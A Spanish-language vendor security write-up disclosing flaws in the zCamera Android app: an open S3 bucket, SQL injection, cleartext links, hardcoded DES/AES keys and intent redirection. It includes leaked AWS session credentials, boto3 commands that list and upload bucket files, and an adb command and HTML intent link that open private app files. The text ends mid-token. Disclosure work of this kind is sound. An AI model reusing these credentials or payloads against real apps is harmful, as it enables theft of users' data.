Neutron, nuestro motor de IA, obtuvo un 96.75% en el benchmark CyberGym de UC Berkeley. Más información

Seguridad

Seguridad

zCamera, una aplicación con más de 100M de instalaciones: del compromiso remoto a las fugas de datos

Este artículo es un análisis técnico en profundidad que muestra cómo una aplicación de imágenes con más de 100M de instalaciones puede exponer las imágenes de sus usuarios y sufrir vulnerabilidades explotables de forma remota, desde la inyección SQL y la redirección de intents hasta la descarga de archivos arbitrarios.

Este artículo es un análisis técnico en profundidad que muestra cómo una aplicación de imágenes con más de 100M de instalaciones puede exponer las imágenes de sus usuarios y sufrir vulnerabilidades explotables de forma remota, desde la inyección SQL y la redirección de intents hasta la descarga de archivos arbitrarios.

En 2021 informamos al equipo de la tienda de aplicaciones de Google de un conjunto de vulnerabilidades que afectaban a una popular aplicación de cámara llamada zCamera.

La aplicación contaba con más de 100M de instalaciones y presentaba varios problemas críticos que afectaban a la seguridad y la privacidad de sus usuarios.

Habíamos intentado informar de los problemas al desarrollador de la aplicación, pero, como no obtuvimos ninguna respuesta, los comunicamos al equipo de seguridad de Google.

Hemos sabido recientemente que la aplicación ya no está disponible en la tienda y que se muestra un mensaje de error que indica que la aplicación no puede descargarse, ya sea porque no es accesible o porque presenta problemas críticos de seguridad.

Por ello, compartimos este informe con total seguridad para dar a conocer algunos de los problemas críticos que vemos en las aplicaciones móviles y cómo pueden explotarse de forma remota sin necesidad de una aplicación maliciosa en el dispositivo.

La aplicación vulnerable es com.jb.zcamera, un editor de fotos con funciones de uso compartido y almacenamiento de imágenes. La aplicación contaba con más de 100M de instalaciones, y solo su versión para iOS tiene más de 30k comentarios.

Las vulnerabilidades identificadas son:

Vulnerabilidad Impacto Vector de ataque
Bucket de S3 sin proteger Fuga de datos (imágenes) Sin interacción
Cadena de inyección SQL y reenvío de intents para acceder a una base de datos SQLite, escribir en ella o eliminarla Fuga de datos (base de datos SQLite) Enlace malicioso
Tráfico en texto claro Fuga de datos (imágenes) Manipulación del tráfico
Cifrado débil de datos sensibles con claves incrustadas en el código Agrava el impacto de las vulnerabilidades de fuga de datos N/A
Redirección de intents Omisión de la autorización Enlace malicioso

Fuga de datos sensibles por un bucket de S3 sin proteger

La aplicación utilizaba AWS Cognito para autenticar el acceso al bucket 3gcdn.tokyo de AWS. El acceso a Cognito permitía listar todos los archivos, acceder a las imágenes de los usuarios y subir archivos arbitrarios.

Los permisos del bucket permitían a todos los usuarios listar, subir y leer todos los archivos del bucket.

A continuación se muestra un ejemplo de código descompilado de la aplicación que expone la cuenta de Cognito.

    private static CognitoCachingCredentialsProvider b(Context context) {
        if (d == null) {
            d = new CognitoCachingCredentialsProvider(context.getApplicationContext(), "ap-northeast-1:393fddbe-5b4c-4a8a-87db-adb7e0501ccb", Regions.AP_NORTHEAST_1);
        }
        return d;
    }

    private static AmazonS3Client c(Context context) {
        if (c == null) {
            ClientConfiguration clientConfiguration = new ClientConfiguration();
            clientConfiguration.c(3000000);
            clientConfiguration.b(3000000);
            clientConfiguration.a(3);
            clientConfiguration.a(Protocol.HTTPS);
            c = new AmazonS3Client(b(context.getApplicationContext()), clientConfiguration);
        }
        c.a(Region.a(Regions.AP_NORTHEAST_1));
        return c;
    }

AWS Cognito ofrece una forma sencilla de añadir el registro de usuarios a las aplicaciones móviles y web. Cuando se configura una cuenta de Cognito, las credenciales se obtienen accediendo al endpoint https://cognito-identity.[zone].amazonaws.com/.

A continuación se muestran la solicitud y la respuesta interceptadas, que revelan la clave de acceso, la clave secreta y la clave de sesión generadas:

Solicitud:

POST https://cognito-identity.us-east-1.amazonaws.com/ HTTP/1.1
Content-Type: application/x-amz-json-1.1
User-Agent: aws-sdk-android/2.11.1 Linux/3.4.0-gc9a1f89 Dalvik/2.1.0/0 en_US MobileHub/1.0
X-Amz-Target: AWSCognitoIdentityService.GetCredentialsForIdentity
aws-sdk-retry: 0/0
aws-sdk-invocation-id: aef50f87-e088-4133-986e-095a91e353b6
Content-Length: 75
Connection: Keep-Alive
Host: cognito-identity.us-east-1.amazonaws.com

{"IdentityId":"us-east-1:f86198c7-c5ac-499d-a3a8-f3f3d81dfd6b","Logins":{}}

Respuesta:

HTTP/1.1 200 OK
Date: Wed, 31 Mar 2021 23:55:26 GMT
Content-Type: application/x-amz-json-1.1
Content-Length: 1772
Connection: keep-alive
x-amzn-RequestId: 3e58c2b6-bb84-47e8-8eed-586e47493199

{"Credentials":{"AccessKeyId":"ASIAWM5ZKESJXSGTW55U","Expiration":1.617238526E9,"SecretKey":"Dg3A8hXHt2mEiYPJgkXRoNXc4+nCZea1yy7HGgff","SessionToken":"IQoJb3JpZ2luX2VjEFAaCXVzLWVhc3QtMSJHMEUCIQD2a0IYHB89YmxvYb+FWPH3pgjgZwbxHTL5e5E/zCnYiQIgdsoN3cUrfavJSA58AYMnPp94YDAHC4FaIGZ7OlY/AXsqmgYImf//////////ARAAGgw0NDAwODU5MTQ3NzEiDHfLOwymijKmIqQ8HCruBROog1p/g5/c3hDdgpHkQWcOUv1PTlcfgVfRCKQF5bTHJXzQuhhSBIKBNWczvUvALWdzYOzgyoz2EW5yJJEP+Djz4oWPXDi1POIWiCWWRE0Obod2auS0vfF041OYsIFRF9TZT3V0waRsL6csV6t1JtM2KWu7L2lji8asEIanTuNaq4rUGOR4Iv529sxhd4JlgWac9M1XDlu2oiaVnZkee8/8ML5En8BgMTIU+BxolFtq5pjKSAawRlKaCvP/2XWNwoP1BcyRRowXYS+bhU6sMRPvc4wCiS8GXlzPYT2Rs0gChOk2xI43GUxJVtwxjx2k8UyAsDVjq9OHzsQK/Tmpi7y9c4H0ekFJuKE8+Hy5F3cS2V5qI5Ux5VrhZ3MY/+PrU2JUI17KbB+j0VqdxHuEcyPQnzj7k45NtZR4w53GZ4LxiGVJOTWQPMeYZ84p51fDsQiByQ1m+evfhpc3pkc7Peazl/33YJ8x+A/jLEcBxfGSPwYiGqv/DvJQ5occ0XT/dbdiUngtow0LEZmSH0Rjmlw/VhSl9+T7vJNU07NQVEWhtX2iKdqjZjg30uiRof8/450X6zwSDGyqcldJDGK6wTPbQ4x8xNSE0Y1W7C6EHzUBrc2N5WJpKu3rxNvxw4/bLbG+bR+IFvJGj96FIBjVvRvPw2Tg+XrR7KEndHZO1JFLYIh2S53i3kGJoQsooN0wucGixdX62ru+eRA0YcEc9xLYC8YuUw0t9SPfuQQzXV2KjGEwnV1sNebM/doXsOD40qXKrW01M1TeWQCvQZ97MIDYifXKRj7ZuulZHnjnPXQYVe8szs4lssjx/PWWJQw9EnxevWKnZK6neRTopqFD8dZYg566k8fBnk72Y65S5ydCx1P3KddbVi/hNs80G5LPV16jpMOeFCMrUrbBbHOwtz8tTnO78T6GcQTN6vF8Lcb21ExqlAgr/V61KDtS3z05LqIFdDugXihW5f6k/663IV7VWSnW5DQMk5t6fGRjqjDul5SDBjqHAuh+sQ22Te+LBgqRYqXhxrd5TfUAqS9QWaaZBOE6i8pOAN9RIXn6vcbObCOVVyt3wnNQ6Oi1URDQCn8DUn0MdFO6NQ2EJ4Y9H9yLm4foG3uJqAiiNPX78lIDa1qkvqaQBckNxhIYsSlrU5p2NdTl5k5woo8pWk2VAibgcq+JfqGrAZ6+tKR2Qy5aP96s49kOcRTqLrPcWjaDl9EWRIHSE20oWqFZgtzhUTKeuH/6dxQKI22MExMYSWJ3haIh4AaKVEpXbbtZ4oJ64w1ZWz5CU7zOnl4m2F8Bwh9hb6mP+95IUp0o9/kXcPjDe9YJ6kYFbDhU4oGCAjAHCxWsL6vJ5poJ/qNL3O15"},"IdentityId":"us-east-1:f86198c7-c5ac-499d-a3a8-f3f3d81dfd6b"}

Las claves de acceso y los secretos pueden utilizarse después para listar archivos, leer archivos y subir cualquier archivo con cualquier nombre y cualquier contenido:

In [3]: client = boto3.client('s3', aws_access_key_id='ASIA434KFTPDWAXUDMIH', aws_secret_access_key='/zG9QSpBVeJGIWCg4tLGrJDcebFFscSoNvwMRNaO', aws_session_token='IQoJb3JpZ2luX2VjEE8aDmFwLW5vcnRoZWFzdC0xIkcwRQIhAJ
rgBgcgwfTTRKStiKqJm0V5lhCaOZGdv5FsTDnjJ1VdAiBPLLqsTPECBMvqlYgZtxQvdjkogHQ6e/sC7sEKx9vzYyqkBgiY//////////8BEAAaDDg4NDUxNjE2NjU5OSIM/3UJHbnWKR8tbGbCKvgFRxHRJ9I3p7eVLDUuFPLWv8ILMCn5Mg1wxDLnY/U1IfbkRRk3V6Evojk
 In [17]: client.upload_file('cross3x3.png', '3gcdn.tokyo', '/tmp/9A6C7-2021-03-09/headpic/crsog.pn')          
In [9]: client.list_objects(Bucket='3gcdn.tokyo')                                                                                                                                                                    
Out[9]: 
{'ResponseMetadata': {'RequestId': '2XAFCTTEPXFEP0WC',
  'HostId': 'eGU9yADLjFPKuAFj7UlpF7830Qh5Icl4Y2Vbf9NW6P4eYKvsVik6J9YPHiITzCMpZfBR3LpQ25w=',
  'HTTPStatusCode': 200,
  'HTTPHeaders': {'x-amz-id-2': 'eGU9yADLjFPKuAFj7UlpF7830Qh5Icl4Y2Vbf9NW6P4eYKvsVik6J9YPHiITzCMpZfBR3LpQ25w=',
   'x-amz-request-id': '2XAFCTTEPXFEP0WC',
   'date': 'Wed, 31 Mar 2021 22:50:25 GMT',
   'x-amz-bucket-region': 'ap-northeast-1',
   'content-type': 'application/xml',
   'transfer-encoding': 'chunked',
   'server': 'AmazonS3'},
  'RetryAttempts': 1},
 'IsTruncated': False,
 'Marker': '',
 'Contents': [{'Key': '00EC6-2021-03-17/headpic/m7VH0Pzd.jpg',
   'LastModified': datetime.datetime(2021, 3, 17, 3, 33, 13, tzinfo=tzutc()),
   'ETag': '"edc2823ca785a46e88731edf9507b0aa"',
   'Size': 137718,
   'StorageClass': 'STANDARD',
   'Owner': {'DisplayName': 'yang.jiguo.gz',
    'ID': '5b94b2d47950236e661022ff5b1fcf97415724b8883fdef3e10016e4fbe2b2e7'}},
  {'Key': '01A43-2021-03-12/headpic/IFiAeMeK.jpg',
   'LastModified': datetime.datetime(2021, 3, 12, 21, 5, 48, tzinfo=tzutc()),
   'ETag': '"58ca99af9262f0b82e6978e3c9972970"',
   'Size': 201745,
   'StorageClass': 'STANDARD',
   'Owner': {'DisplayName': 'yang.jiguo.gz',
    'ID': '5b94b2d47950236e661022ff5b1fcf97415724b8883fdef3e10016e4fbe2b2e7'}},
  {'Key': '01BA8-2021-03-05/headpic/7rSei
...

Fuga de datos sensibles mediante inyección SQL

La aplicación presentaba varias inyecciones SQL que podían explotarse de distintas formas.

Dado que enumerar todo el código vulnerable ocuparía decenas de páginas, a continuación se muestra un ejemplo de código fuente. La aplicación expone un content provider que lee el mensaje Intent para componer una consulta SQL mediante concatenación de cadenas.

   public android.database.Cursor query(android.net.Uri p9, String[] p10, String p11, String[] p12, String p13, android.os.CancellationSignal p14)
    {
        android.database.Cursor v9_5;
        android.database.sqlite.SQLiteDatabase v0 = this.b.b();
        switch (com.jb.zcamera.gallery.encrypt.EncryptMediaProvider.a.match(p9)) {
            case 1:
                v9_5 = v0.query(images, p10, p11, p12, 0, 0, p13);
                break;
            case 2:
                String v3_2 = android.content.ContentUris.parseId(p9);
                if (v3_2 == -1) {
                    v9_5 = 0;
                } else {
                    android.database.Cursor v9_8 = new StringBuilder();
                    v9_8.append(_id=);
                    v9_8.append(v3_2);
                    android.database.Cursor v9_9 = v9_8.toString();
                    if (p11 != null) {
                        StringBuilder v14_8 = new StringBuilder();
                        v14_8.append(p11);
                        v14_8.append(“ and “);
                        v14_8.append(v9_9);
                        v9_9 = v14_8.toString();
                    }
                    v9_5 = v0.query(images, p10, v9_9, p12, 0, 0, p13);
                }
                break;
            case 3:
                v9_5 = v0.query(videos, p10, p11, p12, 0, 0, p13);
                break;
            case 4:
                String v3_5 = android.content.ContentUris.parseId(p9);
                if (v3_5 == -1) {
                } else {
                    android.database.Cursor v9_3 = new StringBuilder();
                    v9_3.append(_id=);
                    v9_3.append(v3_5);
                    android.database.Cursor v9_4 = v9_3.toString();
                    if (p11 != null) {
                        StringBuilder v14_3 = new StringBuilder();
                        v14_3.append(p11);
                        v14_3.append(“ and “);
                        v14_3.append(v9_4);
                        v9_4 = v14_3.toString();
                    }
                    v9_5 = v0.query(videos, p10, v9_4, p12, 0, 0, p13);
                }
                break;
            default:
                String v11_4 = new StringBuilder();
                v11_4.append(Unknown Uri:);
                v11_4.append(p9);
                throw new IllegalArgumentException(v11_4.toString());
        }
        return v9_5;
    }

Fuga de datos a través de enlaces en texto claro

La aplicación obtiene del backend varios enlaces para acceder a distintos recursos. Los más destacados son los filtros de imagen empaquetados como archivos APK.

A continuación se muestran una solicitud y una respuesta que ilustran los enlaces en texto claro recopilados:

Solicitud

GET https://lzt.goforandroid.com/launcherzthemestore/rest/store/resource/package?phead=eyJhcGlMZXZlbCI6IjE1IiwicHZlcnNpb24iOiIxIiwiYWlkIjoiMWRlZjBmN2E1YWE2YTUxYiIsImFkaWQiOiIxZGVmMGY3YTVhYTZhNTFiIiwidWlkIjoiMWRlZjBmN2E1YWE2YTUxYiIsImNpZCI6MTEsImN2ZXJzaW9uIjoiMjQxIiwiY2xpZW50VmVyc2lvbiI6IjI0MSIsImdvaWQiOiI0Mjk1YWY2MzAxOTUxMDBhY2QxOWNhOWI1NjgxNGM5MSIsImN2ZXJzaW9ubmFtZSI6IjQuNTQiLCJjaGFubmVsIjoiMTAxIiwibG9jYWwiOiJVUyIsImNvdW50cnkiOiJtYSIsImxhbmciOiJlbiIsInJlc29sdXRpb24iOiJVTktOT1dOIiwic2RrIjoyNSwic3lzIjoiNy4xLjIiLCJvcyI6IjcuMS4yIiwibW9kZWwiOiJOZXh1cyA1IiwicmVxdWVzdHRpbWUiOiIyMDIxLTAzLTMxIDIyOjQ1OjEzIiwiZW50cmFuY2VJZCI6MSwiaGFzbWFya2V0IjoxLCJnYWRpZCI6IjI2NDM2NzhjLWY2NDctNGU0My1hMTkxLWIzNDcyY2Q3MjM1YSIsImVtYWlsc3RhdHVzIjoxLCJuZXQiOiJXSUZJIiwib2ZmaWNpYWwiOjB9&sourceInfo=W3sicGFja2FnZU5hbWUiOiJjb20uamIuemNhbWVyYS5leHRyYS5hcnN0aWNrZXIuYmVhcmRlcm1hbiIsInR5cGUiOjl9LHsicGFja2FnZU5hbWUiOiJjb20uamIuemNhbWVyYS5leHRyYS5hcnN0aWNrZXIucmVkcm9zZSIsInR5cGUiOjl9LHsicGFja2FnZU5hbWUiOiJjb20uamIuemNhbWVyYS5leHRyYS5hcnN0aWNrZXIubm9ibGUiLCJ0eXBlIjo5fSx7InBhY2thZ2VOYW1lIjoiY29tLmpiLnpjYW1lcmEuZXh0cmEuYXJzdGlja2VyLmNhdHNjbGF3cyIsInR5cGUiOjl9LHsicGFja2FnZU5hbWUiOiJjb20uamIuemNhbWVyYS5leHRyYS5hcnN0aWNrZXIuZ2xhbW9yb3VzIiwidHlwZSI6OX0seyJwYWNrYWdlTmFtZSI6ImNvbS5qYi56Y2FtZXJhLmV4dHJhLmFyc3RpY2tlci5vbGQ1MCIsInR5cGUiOjl9LHsicGFja2FnZU5hbWUiOiJjb20uamIuemNhbWVyYS5leHRyYS5hcnN0aWNrZXIub2xkNjAiLCJ0eXBlIjo5fSx7InBhY2thZ2VOYW1lIjoiY29tLmpiLnpjYW1lcmEuZXh0cmEuYXJzdGlja2VyLm9sZDcwIiwidHlwZSI6OX0seyJwYWNrYWdlTmFtZSI6ImNvbS5qYi56Y2FtZXJhLmV4dHJhLmFyc3RpY2tlci5vbGQ4MCIsInR5cGUiOjl9LHsicGFja2FnZU5hbWUiOiJjb20uamIuemNhbWVyYS5leHRyYS5hcnN0aWNrZXIub2xkOTAiLCJ0eXBlIjo5fV0 HTTP/1.1
X-Signature: b48615ba7afc8b1661c9e4edcba5afe8
Connection: Keep-Alive
Host: lzt.goforandroid.com

Respuesta

HTTP/1.1 200 OK
Date: Wed, 31 Mar 2021 21:45:16 GMT
Content-Type: application/json;charset=UTF-8
Content-Length: 3924
Connection: keep-alive
ETag: "fabbe7c0ec3239ab83afbad4a23552d4"
Strict-Transport-Security: max-age=15768000

{"data":[{"type":9,"data":{"mapid":502108234,"pkgname":"com.jb.zcamera.extra.arsticker.bearderman","name":"Bearded Man","animated":0,"icon":"http://resource.gomocdn.com/soft/repository/5/icon/20171024/QSn5wB8r.png","preview":"http://resource.gomocdn.com/soft/repository/5/preview/20171024/GtCFYHsC.png","images":["http://resource.gomocdn.com/soft/repository/5/image/20171024/y4xBLEy8.png"],"animatedimages":"","downloadCount":0,"downloadCount_s":"100","score":0.0,"developer":null,"price":"0","detail":null,"updateTime":"2019-12-11","downurl":"http://goappdl.goforandroid.com/soft/go_launcherzstoremanage/2017102515/150891699498678795362.zip","chargetype":0,"downtype":1,"zipVersion":5,"haslock":0,"newlocktype":2,"paytype":-1,"zipdownurl":"","size":"1.1MB"}},{"type":9,"data":{"mapid":502108239,"pkgname":"com.jb.zcamera.extra.arsticker.redrose","name":"Red Rose","animated":0,"icon":"http://resource.gomocdn.com/soft/repository/5/icon/20171024/XqodiFim.png","preview":"http://resource.gomocdn.com/soft/repository/5/preview/20171024/x0xMHTGO.png","images":["http://resource.gomocdn.com/soft/repository/5/image/20171013/sejQghqb.png"],"animatedimages":"","downloadCount":0,"downloadCount_s":"100","score":0.0,"developer":null,"price":"0","detail":null,"updateTime":"2019-12-11","downurl":"http://goappdl.goforandroid.com/soft/go_launcherzstoremanage/2017102516/150891970955293144727.zip","chargetype":0,"downtype":1,"zipVersion":5,"haslock":0,"newlocktype":1,"paytype":-1,"zipdownurl":"","size":"485.5KB"}},{"type":9,"data":{"mapid":502108240,"pkgname":"com.jb.zcamera.extra.arsticker.noble","name":"Noble","animated":0,"icon":"http://resource.gomocdn.com/soft/repository/5/icon/20171013/p7LgIBUL.png","preview":"http://resource.gomocdn.com/soft/repository/5/preview/20171024/2fCB9m4J.png","images":["http://resource.gomocdn.com/soft/repository/5/image/20171013/q1LeSyZp.png"],"animatedimages":"","downloadCount":0,"downloadCount_s":"100","score":0.0,"developer":null,"price":"0","detail":null,"updateTime":"2019-12-11","downurl":"http://goappdl.goforandroid.com/soft/go_launcherzstoremanage/2017102516/150891979625032197505.zip","chargetype":0,"downtype":1,"zipVersion":2,"haslock":0,"newlocktype":1,"paytype":-1,"zipdownurl":"","size":"106.8KB"}},{"type":9,"data":{"mapid":502108236,"pkgname":"com.jb.zcamera.extra.arsticker.catsclaws","name":"Cat's Claws","animated":0,"icon":"http://resource.gomocdn.com/soft/repository/5/icon/20171024/9vEt0rzp.png","preview":"http://resource.gomocdn.com/soft/repository/5/preview/20171024/zcPyXmxu.png","images":["http://resource.gomocdn.com/soft/repository/5/image/20171024/y4xBLEy8.png"],"animatedimages":"","downloadCount":0,"downloadCount_s":"100","score":0.0,"developer":null,"price":"0","detail":null,"updateTime":"2019-12-11","downurl":"http://goappdl.goforandroid.com/soft/go_launcherzstoremanage/2017102515/150891770104157456228.zip","chargetype":0,"downtype":1,"zipVersion":6,"haslock":0,"newlocktype":1,"paytype":-1,"zipdownurl":"","size":"238.6KB"}},{"type":9,"data":{"mapid":502108242,"pkgname":"com.jb.zcamera.extra.arsticker.glamorous","name":"Glamorous","animated":0,"icon":"http://resource.gomocdn.com/soft/repository/5/icon/20171024/0dSKQewo.png","preview":"http://resource.gomocdn.com/soft/repository/5/preview/20171024/RE3V9bZs.png","images":["http://resource.gomocdn.com/soft/repository/5/image/20171013/bflkJsG4.png"],"animatedimages":"","downloadCount":0,"downloadCount_s":"100","score":0.0,"developer":null,"price":"0","detail":null,"updateTime":"2019-12-11","downurl":"http://goappdl.goforandroid.com/soft/go_launcherzstoremanage/2017102423/150885924029021919.zip","chargetype":0,"downtype":1,"zipVersion":10,"haslock":0,"newlocktype":2,"paytype":-1,"zipdownurl":"","size":"106.9KB"}},{"type":9,"data":null},{"type":9,"data":null},{"type":9,"data":null},{"type":9,"data":null},{"type":9,"data":null}],"errorResult":{"errorCode":"SUCCESS","errorMsg":"SUCCESS"}}

Cifrado débil y uso de un secreto incrustado en el código para almacenar imágenes privadas

La aplicación implementa una funcionalidad para proteger imágenes con contraseña. El cifrado utiliza el esquema de cifrado débil DES con una clave incrustada en el código. A continuación se muestra la presencia de un pref_forget_pwd_code incrustado en el código de la aplicación:

public static String m5718w() {
        String string = m5663ac().getString("pref_forget_pwd_code", "");
        return !TextUtils.isEmpty(string) ? aie.m2211b(string, "zalzaq47jlogh34DFddxa3i95nm3297nsvm2q1CXN3xv2197bkJlweXN199mb094883ksjaN1cABX3l9vnz9PD3rz872vxawvfA") : string;
    }

A continuación se muestra el uso de DES para cifrar y generar secretos. Con los medios actuales, DES es vulnerable a la fuerza bruta debido a su reducido espacio de claves.

    /* renamed from: b */
    public static byte[] m2212b(byte[] bArr, String str) throws Exception {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        try {
            SecretKey generateSecret = SecretKeyFactory.getInstance(DesUtil.DES_ALGORITHM).generateSecret(new DESKeySpec(str.getBytes()));
            Cipher instance = Cipher.getInstance(DesUtil.DES_ALGORITHM);
            instance.init(2, generateSecret);
            byte[] doFinal = instance.doFinal(bArr);
            byteArrayOutputStream.close();
            return doFinal;
        } catch (Exception e) {
            throw e;
        } catch (Throwable th) {
            byteArrayOutputStream.close();
            throw th;
        }
    }

Y aquí hay otra clave incrustada en el código que se utiliza con el cifrado AES

public final class CryptPreferencesManager {
    private static final String CRYPT_KEY = "NaubrwWEGiJEQqRxx7aXntbGOf4YiRmW0WY9043rcqRhJreE4sReMC1OFRaeI7TXWBJUiJQGpwA1UdSsR65vvNieo70IUqvUnj1mn1mLUTKEMqeM9l5g90WJJo4gBN3n";
    private SharedPreferences.Editor mEditor;
    private SharedPreferences mPreferences;

Uno de los problemas más importantes de la aplicación es cómo un atacante puede eludir las restricciones sobre las actividades accesibles y autorizadas aprovechando una vulnerabilidad de redirección de intents.

La actividad principal expone una funcionalidad de proxy que abre enlaces en un webview con acceso a archivos, siempre que se establezcan ciertos flags, o que puede iniciar una actividad con parámetros extra arbitrarios.

   public boolean a(Context context, Intent intent) {
        if (intent != null && intent.getBooleanExtra("extra_is_wecloud_enter", false)) {
            String stringExtra = intent.getStringExtra(WecloudNotificationKey.ACTION.getValue());
            String stringExtra2 = intent.getStringExtra(WecloudNotificationKey.PARAM.getValue());
            if (WecloudNotificationAction.hasValue(stringExtra)) {
                WecloudNotificationAction fromValue = WecloudNotificationAction.fromValue(stringExtra);
                if (fromValue == WecloudNotificationAction.URI) {
                    return b(context, stringExtra2);
                }
                if (fromValue == WecloudNotificationAction.GP) {
                    return c(context, stringExtra2);
                }
                if (fromValue == WecloudNotificationAction.FB) {
                    return d(context, stringExtra2);
                }
                if (fromValue == WecloudNotificationAction.ACTIVITY) {
                    return e(context, stringExtra2);
                }
            }
        }
        return false;
    }

A partir de algunos parámetros del intent, se construye un segundo intent a partir del valor de push_param. El análisis del segundo parámetro implementa su propio formato de serialización, que admite tipos básicos como string, bool, int, etc. A continuación se muestra el código que construye el segundo intent.

   private boolean m6011b(Context context, String str) {
        if (TextUtils.isEmpty(str)) {
            return false;
        }
        try {
            String[] split = str.split("\\?\\#\\?\\#\\?");
            String str2 = split[0];
            if (TextUtils.isEmpty(str2)) {
                return false;
            }
            if (split.length < 2) {
                Intent intent = new Intent("android.intent.action.VIEW", Uri.parse(str));
                intent.addFlags(268435456);
                context.startActivity(intent);
                return true;
            }
            Intent intent2 = new Intent();
            mo12531a(intent2, split[1]);
            if (intent2.getBooleanExtra("extra_internal_webview", false)) {
                arl.m4058a(context, intent2, split[0], intent2.getBooleanExtra("extra_show_ad", false));
            } else {
                Intent intent3 = new Intent("android.intent.action.VIEW", Uri.parse(str2));
                intent3.addFlags(268435456);
                context.startActivity(intent3);
            }
            return true;
        } catch (Throwable th) {
            ars.m4113c("WecloudNotification", "", th);
            return true;
        }
    }
   private void a(Intent intent, String str, String str2) {
        int lastIndexOf = str2.lastIndexOf("@");
        if (lastIndexOf > 0 && lastIndexOf < str2.length() - 1) {
            String substring = str2.substring(lastIndexOf + 1);
            String substring2 = str2.substring(0, lastIndexOf);
            if ("B".equals(substring)) {
                intent.putExtra(str, Boolean.valueOf(substring2));
            } else if ("I".equals(substring)) {
                intent.putExtra(str, Integer.valueOf(substring2));
            } else if ("D".equals(substring)) {
                intent.putExtra(str, Double.valueOf(substring2));
            } else if ("F".equals(substring)) {
                intent.putExtra(str, Float.valueOf(substring2));
            } else if ("L".equals(substring)) {
                intent.putExtra(str, Long.valueOf(substring2));
            } else if ("S".equals(substring)) {
                intent.putExtra(str, substring2);
            }
        }
    }
}

Para provocar la apertura de una página en el webview de destino, puede enviarse un intent con el siguiente comando:

adb shell am start -n com.jb.zcamera/com.jb.zcamera.camera.MainActivity --es push_action uri --es push_param 'file:///data/data/com.jb.zcamera/shared_prefs/CameraFacing.xml?#?#?\&extra_internal_webview=true@B' --ez extra_is_wecloud_enter true

Dado que la actividad principal que expone la funcionalidad de proxy es navegable (browsable), el intent puede activarse desde Chrome con el siguiente código HTML de ejemplo. Este es un elemento muy importante, ya que significa que un atacante puede activar esta vulnerabilidad sin necesidad de tener un acceso malicioso al dispositivo.

<html>
<a href="intent://camera.gomo.com/#Intent;scheme=http;package=com.jb.zcamera;S.push_action=uri;S.push_param=file:///data/data/com.jb.zcamera/shared_prefs/CameraFacing.xml%3f%23%3f%23%3f%26extra_internal_webview%3dtrue%40B;B.extra_is_wecloud_enter=true;end">Click Me!</a>
</html>

El webview tiene acceso a archivos locales, pero no tiene permiso para abrir archivos desde URL, y el SDK de destino establece en false el acceso a las URL de archivos.

La actividad InvolveMediaDetailActvity puede activar la descarga de archivos con enlaces que apuntan a http://goappdl.goforandroid.com/

La actividad acepta una URL de vídeo que se obtiene de un bucket de S3:

    public void getDataFromIntent() {
        Intent intent = getIntent();
        this.a = intent.getStringExtra(VIDEO_URL);
        this.b = intent.getStringExtra(IMG_URL);
        this.c = intent.getIntExtra(FILE_TYPE, -1);
    }

La URL debe tener como host http://goappdl.goforandroid.com/, aunque el host se trunca y solo se utiliza la ruta para descargar el archivo. El nombre del archivo almacenado se toma de la ruta:

   public static String m1204e(String str) {
        try {
            if (!TextUtils.isEmpty(str)) {
                if (str.startsWith("http://goappdl.goforandroid.com/")) {
                    return str.substring("http://goappdl.goforandroid.com/".length(), str.length());
                }
            }
            return "";
        } catch (Exception e) {
            e.printStackTrace();
            return "";
        }
    }

Dado que el acceso al S3 g3cdn.tokyo utiliza AWS Cognito, las claves de acceso pueden obtenerse enviando la Cognito Identity.

Solicitud:

POST https://cognito-identity.us-east-1.amazonaws.com/ HTTP/1.1
Content-Type: application/x-amz-json-1.1
User-Agent: aws-sdk-android/2.11.1 Linux/3.4.0-gc9a1f89 Dalvik/2.1.0/0 en_US MobileHub/1.0
X-Amz-Target: AWSCognitoIdentityService.GetCredentialsForIdentity
aws-sdk-retry: 0/0
aws-sdk-invocation-id: aef50f87-e088-4133-986e-095a91e353b6
Content-Length: 75
Connection: Keep-Alive
Host: cognito-identity.us-east-1.amazonaws.com

{"IdentityId":"us-east-1:f86198c7-c5ac-499d-a3a8-f3f3d81dfd6b","Logins":{}}

Respuesta:

HTTP/1.1 200 OK
Date: Wed, 31 Mar 2021 23:55:26 GMT
Content-Type: application/x-amz-json-1.1
Content-Length: 1772
Connection: keep-alive
x-amzn-RequestId: 3e58c2b6-bb84-47e8-8eed-586e47493199

{"Credentials":{"AccessKeyId":"ASIAWM5ZKESJXSGTW55U","Expiration":1.617238526E9,"SecretKey":"Dg3A8hXHt2mEiYPJgkXRoNXc4+nCZea1yy7HGgff","SessionToken":"IQoJb3JpZ2luX2VjEFAaCXVzLWVhc3QtMSJHMEUCIQD2a0IYHB89YmxvYb+FWPH3pgjgZwbxHTL5e5E/zCnYiQIgdsoN3cUrfavJSA58AYMnPp94YDAHC4FaIGZ7OlY/AXsqmgYImf//////////ARAAGgw0NDAwODU5MTQ3NzEiDHfLOwymijKmIqQ8HCruBROog1p/g5/c3hDdgpHkQWcOUv1PTlcfgVfRCKQF5bTHJXzQuhhSBIKBNWczvUvALWdzYOzgyoz2EW5yJJEP+Djz4oWPXDi1POIWiCWWRE0Obod2auS0vfF041OYsIFRF9TZT3V0waRsL6csV6t1JtM2KWu7L2lji8asEIanTuNaq4rUGOR4Iv529sxhd4JlgWac9M1XDlu2oiaVnZkee8/8ML5En8BgMTIU+BxolFtq5pjKSAawRlKaCvP/2XWNwoP1BcyRRowXYS+bhU6sMRPvc4wCiS8GXlzPYT2Rs0gChOk2xI43GUxJVtwxjx2k8UyAsDVjq9OHzsQK/Tmpi7y9c4H0ekFJuKE8+Hy5F3cS2V5qI5Ux5VrhZ3MY/+PrU2JUI17KbB+j0VqdxHuEcyPQnzj7k45NtZR4w53GZ4LxiGVJOTWQPMeYZ84p51fDsQiByQ1m+evfhpc3pkc7Peazl/33YJ8x+A/jLEcBxfGSPwYiGqv/DvJQ5occ0XT/dbdiUngtow0LEZmSH0Rjmlw/VhSl9+T7vJNU07NQVEWhtX2iKdqjZjg30uiRof8/450X6zwSDGyqcldJDGK6wTPbQ4x8xNSE0Y1W7C6EHzUBrc2N5WJpKu3rxNvxw4/bLbG+bR+IFvJGj96FIBjVvRvPw2Tg+XrR7KEndHZO1JFLYIh2S53i3kGJoQsooN0wucGixdX62ru+eRA0YcEc9xLYC8YuUw0t9SPfuQQzXV2KjGEwnV1sNebM/doXsOD40qXKrW01M1TeWQCvQZ97MIDYifXKRj7ZuulZHnjnPXQYVe8szs4lssjx/PWWJQw9EnxevWKnZK6neRTopqFD8dZYg566k8fBnk72Y65S5ydCx1P3KddbVi/hNs80G5LPV16j